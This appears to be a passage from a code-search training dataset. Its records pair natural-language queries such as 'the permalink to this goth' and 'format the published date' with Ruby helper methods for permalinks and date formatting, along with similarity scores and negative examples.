"0.7724979",
"0.7715039",
"0.7700807",
"0.7697792",
"0.76456875",
"0.7614023",
"0.7610313",
"0.7610313",
"0.7516649",
"0.7508283",
"0.74749005",
"0.7393414",
"0.7390994",
"0.7389599",
"0.7346932",
"0.72572845",
"0.72572845",
"0.72572845",
"0.724235",
"0.7230187",
"0.7198794",
"0.7195174",
"0.7130836",
"0.7114043",
"0.7093964",
"0.7069887",
"0.7045705",
"0.7034506",
"0.7005377",
"0.6984861",
"0.696622",
"0.694782",
"0.69286925",
"0.6908862",
"0.69062495",
"0.6879589",
"0.68779725",
"0.6867531",
"0.681434",
"0.68104166",
"0.68057567",
"0.68057567",
"0.68057567",
"0.68057567",
"0.68057567",
"0.68057567",
"0.68057567",
"0.68057567",
"0.68057567",
"0.68052506",
"0.68052506",
"0.68052506",
"0.6770736",
"0.6763547",
"0.67263776",
"0.6715827",
"0.6682798",
"0.6667256",
"0.6655215",
"0.6645554",
"0.6643943",
"0.66363734",
"0.66311836",
"0.66238606",
"0.6622039",
"0.6613891",
"0.6613399",
"0.6609095",
"0.6602697",
"0.6574087",
"0.65735644",
"0.6567372",
"0.65614134",
"0.6538408",
"0.65301067",
"0.65301067",
"0.64973587",
"0.6496475",
"0.649196",
"0.6486661",
"0.64827543",
"0.6472489",
"0.64705765",
"0.64705765",
"0.6451835",
"0.6451835",
"0.6450807",
"0.6447688"
] |
0.7848972
|
12
|
the permalink to this goth
|
def goth_permalink(goth)
link_to goth.name, goth_permalink_url(goth)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def permalink; end",
"def permalink; end",
"def permalink\n return \"#{uri}\"\n end",
"def permalink\n \"/#{object.permalink}\"\n end",
"def permalink\n link(:perma)\n end",
"def to_param\n permalink\n end",
"def to_param\n permalink\n end",
"def to_param\n permalink\n end",
"def permalink\n url = @path.inject(:+).to_s\n\n Henshin.local? ? url[1..-1] : url\n end",
"def name\n permalink\n end",
"def to_param; self.permalink end",
"def permalink\n data&.permalink\n end",
"def generated_permalink; end",
"def to_param\n permalink_was\n end",
"def to_param\n permalink_was\n end",
"def goth_permalink_url(goth)\n\t\tmonth = sprintf('%0.2d', goth.published_at.month)\n\t\tday = sprintf('%0.2d', goth.published_at.day)\n\t\tgoth_url :year => goth.published_at.year, :month => month, :day => day, :name => goth.name\n\tend",
"def permalink(item)\n url = url_for(item)\n url.gsub!(/\\.html$/, '') #if url[0].chr == \"/\"\n \n return url\n end",
"def permalink\n self.data && self.data['permalink']\n end",
"def permalink\n self.data && self.data['permalink']\n end",
"def to_param\n return permalink if to_param_returns_permalink\n super\n end",
"def permalink_for_url\n if permalink =~ /^https?:\\/\\//\n permalink\n else\n permalink.sub /^([^\\/]?)/, '/\\1'\n end\n end",
"def permalink\n link = object.path.gsub(\"::\", \"%2F\")\n link.tr!(\"?\", \"%3F\")\n link.tr!(\"#\", \":\")\n\n \"#{RUBYDOC_URL}/#{link}\"\n end",
"def permalink\n project_url(Episode.active, project, host: Rails.application.config.rakismet.url)\n end",
"def url\n if Henshin.local?\n permalink\n else\n permalink.sub /index\\.html$/, ''\n end\n end",
"def permalink_style; end",
"def permalink\n discussion.to_s.parameterize.split(\"-\").slice(0..4).join(\"-\")\n end",
"def permalink\n \"/entries/#{slug}\"\n end",
"def permalink\n data.nil? ? nil : data[\"permalink\"]\n end",
"def permalink()\n return self.shares_permalink || self.video_page_permalink\n end",
"def post_permaurl(post)\n \"#{Blog.index}#{post.permalink[1..-1]}\"\n end",
"def admin_permalink\n admin_post_path(self)\n end",
"def admin_permalink\n admin_post_path(self)\n end",
"def admin_permalink\n admin_post_path(self)\n end",
"def create_permalink\n self.permalink = CGI.escape(self.name.gsub(' ', '_')) if self.name\n end",
"def permalink(post)\n date = Date.parse(post['date'])\n title = Ruhoh::Utils.to_url_slug(post['title'])\n format = post['permalink'] || config['permalink']\n\n if format.include?(':')\n filename = File.basename(post['id'], File.extname(post['id']))\n category = Array(post['categories'])[0]\n category = category.split('/').map {|c| Ruhoh::Utils.to_url_slug(c) }.join('/') if category\n\n url = {\n \"year\" => date.strftime(\"%Y\"),\n \"month\" => date.strftime(\"%m\"),\n \"day\" => date.strftime(\"%d\"),\n \"title\" => title,\n \"filename\" => filename,\n \"i_day\" => date.strftime(\"%d\").to_i.to_s,\n \"i_month\" => date.strftime(\"%m\").to_i.to_s,\n \"categories\" => category || '',\n }.inject(format) { |result, token|\n result.gsub(/:#{Regexp.escape token.first}/, token.last)\n }.gsub(/\\/+/, \"/\")\n else\n # Use the literal permalink if it is a non-tokenized string.\n url = format.gsub(/^\\//, '').split('/').map {|p| CGI::escape(p) }.join('/')\n end \n\n @ruhoh.to_url(url)\n end",
"def permalinked\n yield(self)\n end",
"def get_permalink(pagename)\n\t\tpagename.gsub(\" \", \"_\").downcase\n\tend",
"def get_permalink(pagename)\n\t\tpagename.gsub(\" \", \"_\").downcase\n\tend",
"def admin_permalink\n admin_bromatologia_path(self)\n end",
"def set_permalink\n self.permalink = title.downcase.gsub(/[^0-9a-z]+/,' ').strip.gsub(' ','-') if title\n end",
"def create_permalink\n self.permalink = self.name.gsub(/\\s/, \"-\").gsub(/_/, '-').gsub(/[^\\w-]/, '').downcase\n end",
"def permalink\n data && data.is_a?(Hash) && data[\"permalink\"]\n end",
"def admin_permalink\n admin_business_path(self)\n end",
"def set_permalink\n self.permalink = name.to_url if permalink.blank?\n end",
"def set_permalink \n if parent.present?\n self.permalink = [parent.permalink, name.to_url ].join('/')\n else\n self.permalink = name.to_url \n end\n end",
"def permalink_style=(_arg0); end",
"def admin_permalink\n admin_deuda_path(self)\n end",
"def permalink(mobile=false)\n if mobile\n \"http://#{Flareshow::Service.server.host}/#{Flareshow::Service.server.domain}/shareflow/mobile/post/#{reply_to}\"\n else\n \"http://#{Flareshow::Service.server.host}/#{Flareshow::Service.server.domain}/shareflow/p/#{reply_to}?comment_id#{id}\"\n end\n end",
"def permalink_object\n @permalink_object || if permalink_repository\n permalink_repository.for_linkable(self).where(_current: true).first\n end\n end",
"def url\n return permalink if permalink\n\n @url ||= (ext == '.html') ? template.gsub(':name', basename) : \"/#{name}\"\n end",
"def set_permalink\n self.name = self.name.strip\n self.permalink = self.name.gsub(/[^[:alnum:]]/,\"-\").downcase\n end",
"def regenerate_permalink!\n \n self.permalink = if respond_to?(:parent)\n if parent.nil?\n \"/\"\n else\n File.join(parent.permalink, slug)\n end\n else\n \"/#{slug}\"\n end\n \n end",
"def to_param\n \"#{id}-#{permalink}\"\n end",
"def to_param\n \"#{id}-#{permalink}\"\n end",
"def to_param\n \"#{id}-#{permalink}\"\n end",
"def to_param\n \"#{id}-#{permalink}\"\n end",
"def to_param\n \"#{id}-#{permalink}\"\n end",
"def to_param\n \"#{id}-#{permalink}\"\n end",
"def to_param\n \"#{id}-#{permalink}\"\n end",
"def to_param\n \"#{id}-#{permalink}\"\n end",
"def to_param\n \"#{id}-#{permalink}\"\n end",
"def to_param\n \"#{id}-#{permalink}\"\n end",
"def to_param\n \"#{id}-#{permalink}\"\n end",
"def to_param\n \"#{id}-#{permalink}\"\n end",
"def admin_permalink\n admin_expediente_path(self)\n end",
"def url\n if @url\n @url\n else\n begin\n\n page_name = File.basename(self.name, '.*')\n config = @config['permalinks'][page_name]\n\n if config.is_a? String\n @url = config\n self.data['permalink'] = nil\n else\n @config['permalinks'][File.basename(self.name, '.*')] = self.data['permalink']\n end\n rescue; end\n\n super\n\n if @url && @url =~ /\\/$/\n if self.ext == '.xml'\n @url = File.join(@url, \"index.xml\")\n else\n @url = File.join(@url, \"index.html\")\n end\n end\n\n @url\n end\n end",
"def set_permalink\n @permalink = Permalink.find(params[:id])\n end",
"def generate_permalink\n self.permalink = fix_duplication(normalize(self.send(generate_from))) if permalink.blank?\n end",
"def current_permalink_url(rails_request=request, umlaut_request=@user_request, options = {})\n # if we don't have everything, we can't make a permalink. \n unless (umlaut_request && umlaut_request.referent &&\n umlaut_request.referent.permalinks &&\n umlaut_request.referent.permalinks[0] )\n\n return nil\n end\n \n return url_for(options.merge({:controller=>\"store\", \n :id=>umlaut_request.referent.permalinks[0].id,\n :only_path => false}) )\n \n end",
"def to_param\n permalink = self.first_name + \"-\" + self.last_name\n \"#{id}-#{permalink}\"\n end",
"def custom_link\n if self.permalink.blank?\n self.company_name\n else\n self.permalink\n end\n end",
"def permalink_with_spaces\n return self.permalink.gsub(/[\"-\"]/, ' ').gsub(/[\"_\"]/, ' ')\n end",
"def to_param\n #'foo'\n #{id}-#{permalink}\"\n permalink\n end",
"def get_pagename(permalink)\n\t\tpermalink.gsub('_', ' ').capitalize\n\tend",
"def get_pagename(permalink)\n\t\tpermalink.gsub('_', ' ').capitalize\n\tend",
"def set_permalink\n if parent_id.nil?\n self.permalink = name.to_url if permalink.blank?\n else\n parent_taxon = Taxon.find(parent_id)\n self.permalink = [parent_taxon.permalink, (permalink.blank? ? name.to_url : permalink.split('/').last)].join('/')\n end\n end",
"def permalink_with_spaces\n return self.permalink.gsub(/[\\-_]+/, ' ')\n end",
"def copy_permalink_to_path\n self.path = (self.path.split('/')[0..-2] + [self.permalink]).join('/') \n end",
"def generate_permalink!\n self.permalink = fix_duplication(normalize(self.send(generate_from)))\n end",
"def click_through_link\n\t\treturn '/items/' + self.items.first.slug if !self.items.first.blank?\n\t\treturn '/blog/' + self.blogs.first.slug if !self.blogs.first.blank?\n\t\treturn \"#\"\n\tend",
"def pretty_post_url(post)\n\t\tdate = [post.post_at, post.created_at].compact.first\n\t\tpost_permalink_url(:year => date.year, :month => date.month, :day => date.day, :id => post.permalink)\n\tend",
"def set_permalink(options={})\n self.permalink = state.to_url + \"/\" + name.to_url + \"/\" if (self.permalink.blank? || options[:force])\n end",
"def create_permalink\n \"#{self.name.latinize.to_ascii}-#{self.edition.latinize.to_ascii}\".gsub(/[^0-9A-Za-z|_\\- ]/,'')\n end",
"def url_template\n @url_template ||= metadata.fetch(\"permalink\") do\n Utils.add_permalink_suffix(\"/:collection/:path\", site.permalink_style)\n end\n end",
"def posts_url\n if forum?\n forum_topic_url(@forum, @topic)\n elsif blog?\n blog_tab_url(@blog)\n # person_url(@blog.person, :anchor => \"tBlog\")\n end \n end",
"def p_url\n Rails.application.routes.url_helpers.rent_url(id, host: PUBLIC_URL)\n end",
"def noter_blog_url\n\t\t\"blogs/#{self.noter.main_blog_id}\"\n\tend",
"def link\n # => slug_link(self.name)\n if self.weiterleitung && self.externer_link && !self.externer_link.blank?\n self.externer_link\n elsif self.verteiler\n '#'\n else\n if self.ueber_seite\n full_slug.to_slash\n else\n slug.to_slash\n end\n end\n end",
"def link_name\n title\n end",
"def id\n @permalink.to_i\n end",
"def make_slug\n self.permalink = (self.permalink.downcase.gsub(/[^a-zA-Z 0-9]/, \"\")).gsub(/\\s/,'-') if self.permalink\n end",
"def url_was\n \"#{self.class.url}/#{slug_was}\"\n end",
"def post_title (post)\n link_to_post(post)\n end",
"def permalink(page_data)\n format = page_data['permalink'] || collection.config['permalink']\n format ||= \"/:path/:filename\"\n\n url = if format.include?(':')\n title = Ruhoh::Utils.to_url_slug(page_data['title'])\n filename = File.basename(page_data['id'])\n category = Array(page_data['categories'])[0]\n category = category.split('/').map {|c| Ruhoh::Utils.to_url_slug(c) }.join('/') if category\n relative_path = File.dirname(page_data['id'])\n relative_path = \"\" if relative_path == \".\"\n data = {\n \"title\" => title,\n \"filename\" => filename,\n \"path\" => File.join(@pointer[\"resource\"], relative_path),\n \"relative_path\" => relative_path,\n \"categories\" => category || '',\n }\n\n uses_date = false\n %w{ :year :month :day :i_day :i_month }.each do |token|\n if format.include?(token)\n uses_date = true\n break\n end\n end\n\n if uses_date\n begin\n date = Time.parse(page_data['date'].to_s)\n rescue ArgumentError, TypeError\n Ruhoh.log.error(\n \"ArgumentError:\" +\n \" The file '#{ @pointer[\"realpath\"] }' has a permalink '#{ format }'\" +\n \" which is date dependant but the date '#{page_data['date']}' could not be parsed.\" +\n \" Ensure the date's format is: 'YYYY-MM-DD'\"\n )\n end\n\n data.merge!({\n \"year\" => date.strftime(\"%Y\"),\n \"month\" => date.strftime(\"%m\"),\n \"day\" => date.strftime(\"%d\"),\n \"i_day\" => date.strftime(\"%d\").to_i.to_s,\n \"i_month\" => date.strftime(\"%m\").to_i.to_s,\n })\n end\n\n data.inject(format) { |result, token|\n result.gsub(/:#{Regexp.escape token.first}/, token.last)\n }.gsub(/\\/+/, \"/\")\n else\n # Use the literal permalink if it is a non-tokenized string.\n format.gsub(/^\\//, '').split('/').map {|p| CGI::escape(p) }.join('/')\n end\n\n # Only recognize extensions registered from a 'convertable' module.\n # This means 'non-convertable' extensions should pass-through.\n if Ruhoh::Converter.extensions.include?(File.extname(url))\n url = url.gsub(%r{#{File.extname(url)}$}, '.html')\n end\n\n unless (page_data['permalink_ext'] || collection.config['permalink_ext'])\n url = url.gsub(/index.html$/, '').gsub(/\\.html$/, '')\n end\n\n url = '/' if url.empty?\n\n @ruhoh.to_url(url)\n end",
"def permalink_name\n name.to_s.gsub!(/[^\\x00-\\x7F]+/, '') # Remove anything non-ASCII entirely (e.g. diacritics).\n name.to_s.gsub!(/[^\\w_ \\-]+/i, '') # Remove unwanted chars.\n name.to_s.gsub!(/[ \\-]+/i, '-') # No more than one of the separator in a row.\n name.to_s.gsub!(/^\\-|\\-$/i, '') # Remove leading/trailing separator.\n end",
"def url\n return @url if @url\n\n url = permalink ?\n if site.config['relative_permalinks']\n File.join(@dir, permalink)\n else\n permalink\n end :\n {\n 'lang' => self.lang,\n 'categories' => self.categories,\n 'basename' => self.basename,\n }.inject(template) { |result, token|\n result.gsub(/:#{token.first}/, token.last)\n }.gsub(/\\/\\//, '/')\n\n # sanitize url\n @url = url.split('/').reject { |part| part =~ /^\\.+$/ }.join('/')\n @url += '/' if url =~ /\\/$/\n @url.gsub!(/\\A([^\\/])/, '/\\1')\n @url\n end",
"def url\n \"#{self.public_path}/#{self.slug}\"\n end",
"def add_permalink_suffix(template, permalink_style); end",
"def page_post\n Post.find_by_permalink(params[:id])\n end",
"def permalink=(permalink)\n write_attribute(:permalink, permalink) if self.custom_permalink?\n end"
] |
[
"0.8678026",
"0.8678026",
"0.84956646",
"0.84514797",
"0.8408636",
"0.8218145",
"0.80672824",
"0.80672824",
"0.79882973",
"0.797339",
"0.79569006",
"0.78528285",
"0.7766291",
"0.77095556",
"0.77095556",
"0.7696111",
"0.7680731",
"0.75978494",
"0.7596632",
"0.75609857",
"0.75503594",
"0.75501966",
"0.75011444",
"0.75005645",
"0.74859476",
"0.7399785",
"0.73973966",
"0.7378793",
"0.72909164",
"0.7221982",
"0.71937793",
"0.71937793",
"0.71937793",
"0.7100024",
"0.7078114",
"0.7076259",
"0.7034524",
"0.7034524",
"0.70239323",
"0.7003413",
"0.6985566",
"0.69528025",
"0.6928584",
"0.69019896",
"0.6896465",
"0.68803185",
"0.6860226",
"0.6819867",
"0.6801552",
"0.67965156",
"0.6794647",
"0.67892647",
"0.6783421",
"0.6783421",
"0.6783421",
"0.6753971",
"0.6753971",
"0.6753971",
"0.6753971",
"0.6753971",
"0.6753971",
"0.6753971",
"0.6753971",
"0.6753971",
"0.6715101",
"0.6701965",
"0.6693342",
"0.66899043",
"0.66612583",
"0.66490847",
"0.66114765",
"0.65829855",
"0.65535325",
"0.654726",
"0.654726",
"0.65413445",
"0.6526507",
"0.652625",
"0.65155166",
"0.6514722",
"0.64849275",
"0.64655274",
"0.6415176",
"0.6410795",
"0.64093804",
"0.64014816",
"0.6377683",
"0.6323745",
"0.6306171",
"0.6304136",
"0.630245",
"0.62998164",
"0.62746936",
"0.62740266",
"0.6265591",
"0.62550247",
"0.624101",
"0.62282795",
"0.6213436",
"0.61957633"
] |
0.8252487
|
5
|
format the published date in a specific format
|
def goth_published_date(goth)
goth.published_at.strftime('%b %d, %Y %H:%M')
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def formatted_published\n @published.strftime('%A, %d %B %Y at %I:%M %P')\n end",
"def display_day_published\r\n \"Published : #{created_at.strftime('%-b %-d, %Y')}\"\r\n end",
"def display_day_published\n \"Published : #{created_at.strftime('%-b %-d, %Y')}\"\n end",
"def date_published_human\n date_published.strftime(\"on %B %d, %Y at %H:%M\")\n end",
"def date_published\n created_at.strftime(\"%b %d, %Y\")\n end",
"def published_natural\n @published.strftime(\"#{@published.day.ordinalize} %B %Y\")\n end",
"def publication_date\n object.publication_date.strftime \"%Y-%m-%d\"\n end",
"def published_date\n Date.strptime(@data['published_date'], '%Y-%m-%d')\n end",
"def pubdate(format=\"%Y%m%d\")\n t = Time.now\n \n case t.strftime(\"%A\")\n when 'Saturday'\n (t-(48*60*60)).strftime(format) \n when 'Sunday'\n (t-(24*60*60)).strftime(format)\n else\n t.strftime(format)\n end\n end",
"def publication_date\n pubdate=@pubmed['DP'].strip.split(\" \")\n if pubdate.length > 2\n pubdate[2].to_s + '-' + pubdate[1].to_s + '-' + pubdate[0].to_s\n elsif pubdate.length == 2\n '01-'+ pubdate[1]+'-'+ pubdate[0]\n elsif pubdate.length == 1\n '01-JAN-'+ pubdate[0]\n else\n nil\n end\n end",
"def display_date\n if self.publication_date\n if self.volume && self.issue\n # just the year, ma'am\n I18n.localize(self.publication_date, :format => \"%Y\")\n else\n # whole date, since we got it\n I18n.localize(self.publication_date, :format => \"%d %b %Y\")\n end\n elsif self.year\n self.year.to_s\n else\n nil\n end\n end",
"def format_date\n chars = @date.split('')\n chars.pop(6)\n chars.join('')\n end",
"def published_at\n object.created_at.strftime(\"%d %b %Y\")\n end",
"def formatted_date_posted(article)\n article.date_posted.strftime('%B %d, %Y') unless article.date_posted.nil?\n end",
"def format_date\n object.created_at.strftime(\"%b %d, %Y\")\n end",
"def formatted_date\n \tobject.created_at.strftime(\"%R - %B %e, %Y \")\n end",
"def format_date(date)\n date.strftime '%d-%m-%Y'\n end",
"def published_at_date\n self[:published_at].to_s.split.first\n end",
"def formatted_date\n \"#{self.day.date.strftime(\"%A, %B %e, %Y\")}\"\n end",
"def date_published_iso8601\n date_published.strftime(\"%Y-%m-%dT%H:%M:%SZ\")\n end",
"def article_short_post_date(article)\n if article.posted_at.nil?\n content = article.issue.date.strftime(\"%m-%d-%Y\") \n else\n content = article.posted_at.strftime(\"%m-%d-%Y\")\n end\n content_tag('i', content)\n end",
"def published_at\n handle_none post.published_at do\n time_tag(post.published_at, post.published_at.strftime('%b.%d.%Y'), pubdate: true)\n end\n end",
"def date_formatted\n date.strftime(\"%A %B %d, %Y\")\n end",
"def date_page_format\n '%B %d, %Y'\n end",
"def format_date(date)\n date.strftime(\"%d %B %Y\")\n end",
"def formatted_date( date )\n date.strftime( \"%Y-%b-%d\" ) + \" \" + date.strftime( \"%A\" ).slice( 0..2 ) unless date == nil\n end",
"def format_date_nicely(date)\nend",
"def format_date_from_url(date)\n DateTime.strptime(date, date_url_format).strftime(date_page_format)\n end",
"def expected_note_short_date_format(date)\n (Time.now.strftime('%Y') == date.strftime('%Y')) ? date.strftime('%b %-d') : date.strftime('%b %-d, %Y')\n end",
"def article_post_date(article)\n if article.posted_at.nil?\n content = article.issue.date.strftime(\"%A %B %d, %Y\") \n else\n content = article.posted_at.strftime(\"%A %B %d, %Y - %r\") #{#Justin} at %H:%M\")\n end\n content_tag('i', content)\n end",
"def format_date(date)\n date.strftime(\"%b #{date.day.ordinalize}, %Y\")\n end",
"def display_date(date = nil)\n case date\n when :published\n date_obj = history[:published]\n when :archived\n date_obj = history[:archived]\n else\n date_obj = created_at\n end\n date_obj&.strftime('%B %-d, %Y')\n end",
"def web_date; strftime(WEB_DATE_FORMAT); end",
"def pub_date_facet\n return nil unless pub_date\n return \"#{pub_date.to_i + 1000} B.C.\" if pub_date.start_with?('-')\n return pub_date unless pub_date.include? '--'\n\n \"#{pub_date[0, 2].to_i + 1}th century\"\n end",
"def format_date(date, format)\n date = datetime(date)\n if format.nil? || format.empty? || format == \"ordinal\"\n date_formatted = ordinalize(date)\n else\n format.gsub!(/%a/, ABBR_DAYNAMES_DE[date.wday])\n format.gsub!(/%A/, DAYNAMES_DE[date.wday])\n format.gsub!(/%b/, ABBR_MONTHNAMES_DE[date.mon])\n format.gsub!(/%B/, MONTHNAMES_DE[date.mon])\n date_formatted = date.strftime(format)\n end\n date_formatted\n end",
"def format_date(date)\n return prefs.format_date(date)\n end",
"def format_date(date)\n return prefs.format_date(date)\n end",
"def formal_publication_date\n publication_date.to_s(:formal_wo_ordinal)\n end",
"def format_date(date)\n date.strftime '%Y-%m-%d'\n end",
"def format_date(date)\n if date.nil?\n return \"\"\n end\n if date.year == Date.today.year\n return date.strftime(\"%A, %B %-d\") unless date.nil?\n else\n return date.strftime(\"%A, %B %-d %Y\") unless date.nil?\n end\n end",
"def format_date( date = Date.today )\n date.strftime('%a %d/%m/%Y')\n end",
"def format_date date\n date.strftime('%m/%d/%y')\n end",
"def article_date(article, format=':nday, :nmonth :day:ordinal :year — :hour12::minute :meridian')\n (article.published_at || article.updated_at).eztime(format)\n end",
"def article_date(article, format=':nday, :nmonth :day:ordinal :year — :hour12::minute :meridian')\n (article.published_at || article.updated_at).eztime(format)\n end",
"def format_date(date)\n date.strftime(\"%Y-%m-%d\")\n end",
"def fmt_date(date)\n if (date)\n date.strftime(\"%m-%d-%Y\")\n end\n end",
"def format_date (date)\n\t\treturn date.strftime(\"%d/%m/%Y\")\n\tend",
"def formatted_date(date)\n date.present? ? date.strftime(\"%A, %B %d, %Y\") : \"\"\n end",
"def sensible_publication_dates_as_string\r\n errors.add(:publish_at, 'is invalid') if @publish_at_is_invalid\r\n errors.add(:unpublish_at, 'is invalid') if @unpublish_at_is_invalid\r\n end",
"def nice_date_form(the_date)\n \treturn the_date ? the_date.strftime('%b %d, %Y') : ''\n\tend",
"def set_format_for_date(datetime)\n return \"\" unless datetime.is_a? Time\n if datetime > 30.days.ago\n time_ago_in_words(datetime)\n else\n datetime.to_date.to_formatted_s(:rfc822)\n end\n end",
"def publication_date(field = nil)\n IsoDay.cast(find_record_items(field).first)&.to_s if field\n end",
"def pretty_date\n from_index[:modified].sub(/(\\d{4})(\\d{2})(\\d{2})\\d{6}/,'\\1-\\2-\\3')\n end",
"def publication_date\n the_date = nil\n return the_date if @pubmed['DP'].blank?\n if @pubmed['DP'].strip =~ /([0-9][0-9][0-9][0-9] [a-zA-Z]+)-([0-9][0-9][0-9][0-9] [a-zA-Z]+)/i\n @pubmed['DP'] = @pubmed['DP'].strip.split(\"-\")[1]\n end\n if @pubmed['DP'].strip =~ /([0-9][0-9][0-9][0-9]) ([a-zA-Z]+ [0-9]+)-([a-zA-Z]+ [0-9]+)/i\n @pubmed['DP'] = @pubmed['DP'].strip.gsub(/([0-9][0-9][0-9][0-9]) ([a-zA-Z]+ [0-9]+)-([a-zA-Z]+ [0-9]+)/i, '\\1 \\3')\n end\n pubdate=@pubmed['DP'].strip.split(\" \")\n year_range = pubdate[0].split(\"-\")\n if year_range.length > 1\n pubdate[0] = year_range[1]\n end\n if pubdate.length > 1\n month_range = pubdate[1].split(\"-\")\n if month_range.length > 1\n pubdate[1] = month_range[1]\n end\n pubdate[1] = case pubdate[1] \n when /spring/i then 'Mar'\n when /summer/i then 'Jun'\n when /fall|autumn/i then 'Sep'\n when /winter/i then 'Dec'\n else pubdate[1]\n end\n end\n if pubdate.length > 2\n day_range = pubdate[2].split(\"-\")\n if day_range.length > 1\n pubdate[2] = day_range[1]\n end\n the_date = pubdate[2].to_s + '-' + pubdate[1].to_s + '-' + pubdate[0].to_s\n elsif pubdate.length == 2\n the_date = '01-'+ pubdate[1]+'-'+ pubdate[0]\n elsif pubdate.length == 1\n the_date = '01-JAN-'+ pubdate[0]\n end\n return the_date\n end",
"def formatted_date(dt, format=\"%m/%d/%Y\")\n\t\tDate.strptime(dt, '%Y-%m-%d').strftime(format)\n\tend",
"def date_format_readable(date)\n #date.strftime '%Y-%b-%d'\n date.strftime '%b %d %Y' if date.present?\n end",
"def publication_date\n end",
"def short_date( date )\n date.strftime( '%b %d, %Y')\n end",
"def formatted_created_at\n article.created_at.strftime(\"%m/%d/%Y - %H:%M\")\n end",
"def date_format(date)\n\t if date\n\t date.strftime(\"%d/%m/%Y\")\n\t end\n\tend",
"def format_date(date, format = \"%m/%d/%Y\")\n date.respond_to?(:strftime) ? date.strftime(format) : date.to_s\n end",
"def publication_date\n if @publishing_detail\n @publishing_detail.publication_date\n end\n end",
"def formatted_date(date = nil)\n return '' unless date\n date.last_modified_date.strftime(\"%m/%d/%y\")\n end",
"def formatFullDate(date)\n date.strftime(\"%A | %B #{date.day.ordinalize}, %Y\")\n end",
"def formatted_date(date)\n DateTime.parse(date).strftime('%-m/%-d/%y')\n rescue\n ''\n end",
"def fmt_date(dt)\n if dt.present?\n dt.strftime(ApplicationHelper.date_fmt)\n end\n end",
"def format_date(date)\n date = DateTime.parse(date)\n date.strftime('%m/%d/%y')\n end",
"def pretty_date(input_date)\n return input_date.strftime(\"%d %B %Y\")\n end",
"def pub_date_sort\n if pub_date\n pd = pub_date\n pd = '0' + pd if pd.length == 3\n pd = pd.gsub('--', '00')\n end\n fail \"pub_date_sort was about to return a non 4 digit value #{pd}!\" if pd && pd.length != 4\n\n pd\n end",
"def format_date(date)\n return date if date.nil?\n Date.strptime(date.to_s, '%Y-%m-%d').strftime('%b %d, %Y')\n end",
"def formalize_date(pubdate_str)\n # Allowed sample date formats: DEC 2:2021; 25-Dec:2019; Jul:2019; :2019\n wos_formats = ['%b %d:%Y', '%d-%b:%Y', '%b:%Y', ':%Y']\n parsed = nil\n wos_formats.each do |format|\n begin\n parsed = Date.strptime(pubdate_str, format)\n break\n rescue StandardError => e\n Rails.logger.warn \"Repository Work formalize date error #{e.message}\"\n nil\n end\n end\n return parsed.to_s\n end",
"def format_ap_date(date_obj)\n date_obj = DateTime.parse(date_obj) unless date_obj.is_a? DateTime\n\n if [*3..7].include? date_obj.month # months 3,4,5,6,7 are written as is in AP\n date_obj.strftime('%B %-d, %Y')\n elsif date_obj.month == 9 # Sept. is special\n date_obj.strftime('%bt. %-d, %Y')\n else # 3 letter abbr with .\n date_obj.strftime('%b. %-d, %Y')\n end\nend",
"def formatted_date\n Date.strptime(date, \"%m/%d/%Y\")\n end",
"def start_date_us_format\n start_date.nil? ? nil : start_date.strftime(\"%m/%d/%Y\") \n end",
"def publish_date_and_explanation(errata)\n bold = errata.publish_date_explanation == 'custom'\n # This is very ugly, sorry! (fixme)\n html = ''\n html << '<div class=\"compact\">'\n html << '<b>' if bold\n html << [h(errata.publish_date_for_display),\"<small style='color:#888'>(#{errata.publish_date_explanation})</small>\"].compact.join('<br/>')\n html << '</b>' if bold\n html << '<br/>'\n html << \"<small>#{time_ago_future_or_past(errata.publish_or_ship_date_if_available)}</small>\" if errata.publish_or_ship_date_if_available\n html << '</div>'\n html.html_safe\n end",
"def format_date_to_s(val)\n Date.parse(val.to_s).strftime('%m/%d/%Y')\n end",
"def pub_date\n Date.today\n end",
"def date_format t\n t.strftime \"%Y/%m/%d\"\n end",
"def formatFullDate(date)\n date.strftime(\"%A, %B %d, %Y\")\n end",
"def format_date_nicely(date)\n date.strftime(\"%d/%m/%Y\")\nend",
"def format_date_nicely(date)\n date.strftime(\"%d/%m/%Y\")\nend",
"def listing_date() self.created_at.strftime('%a %b %d, %Y') end",
"def date_to_s( date = object.meeting_date )\n Format.a_date( date )\n end",
"def expected_note_long_date_format(date)\n format = (Time.now.strftime('%Y') == date.strftime('%Y')) ? date.strftime('%b %-d %l:%M%P') : date.strftime('%b %-d, %Y %l:%M%P')\n format.gsub(/\\s+/, ' ')\n end",
"def formatted_created_at\n object.created_at.strftime('%b %-d, %Y')\n end",
"def formatted_date(field)\n self.send(field).strftime('%b %d, %Y') if self.send(field).present?\n end",
"def showdate(my_date)\n if my_date\n str_date=my_date.to_date.strftime(\"%d-%m-%Y\")\n else\n str_date=\"\"\n end\n return str_date\n end",
"def format_date(date, format, str, outformat = nil)\n date = Date.strptime(date, format)\n str ? date.strftime(outformat || format) : date\n end",
"def format_date_nicely(date)\n date.strftime '%d/%m/%Y'\nend",
"def format_datetime(date, format = :long)\n date.to_formatted_s(format)\n end",
"def title\n punched_at.strftime(DATE_FORMAT)\n end",
"def date_short(date)\n\t\tdate.strftime(\"%b %e, %Y\") if !date.blank?\n\tend",
"def format_date(year, month = 1, day = 1)\n format_year(year) + format_month(month) + format_day(day)\n end",
"def human_readable_date\n d = self.date\n d.strftime(\"%B %d, %Y\")\n end",
"def _format_date(date)\n return unless date\n\n DateTime.parse(date.to_s).iso8601\n end",
"def to_s\n title_with_date\n end",
"def format_date date, period_method\n date = Date.parse(date)\n case period_method\n when \"daily\" then I18n.l(date, format: \"%d %b %Y\")\n when \"weekly\" then I18n.l(date, format: \"%d %b %Y\")\n when \"monthly\" then I18n.l(date, format: \"%d %b %Y\")\n when \"quarter\" then I18n.l(date, format: \"%b %Y\")\n when \"half\" then I18n.l(date, format: \"%b %Y\")\n when \"yearly\" then I18n.l(date, format: \"%b %Y\")\n when \"current_week\" then I18n.l(date, format: \"%d %b %Y\")\n when \"current_month\" then I18n.l(date, format: \"%d %b %Y\")\n when \"current_quarter\" then I18n.l(date, format: \"%b %Y\")\n when \"current_half\" then I18n.l(date, format: \"%b %Y\")\n when \"current_year\" then I18n.l(date, format: \"%b %Y\")\n end\n end",
"def pretty_date(time)\n time.strftime(\"%d %b %Y\")\n end",
"def pretty_date(time)\n time.strftime(\"%d %b %Y\")\n end",
"def formatwrittendate(unformattedtime)\n unformattedtime.strftime('%A, %d %B, %Y')\n end"
] |
[
"0.8077744",
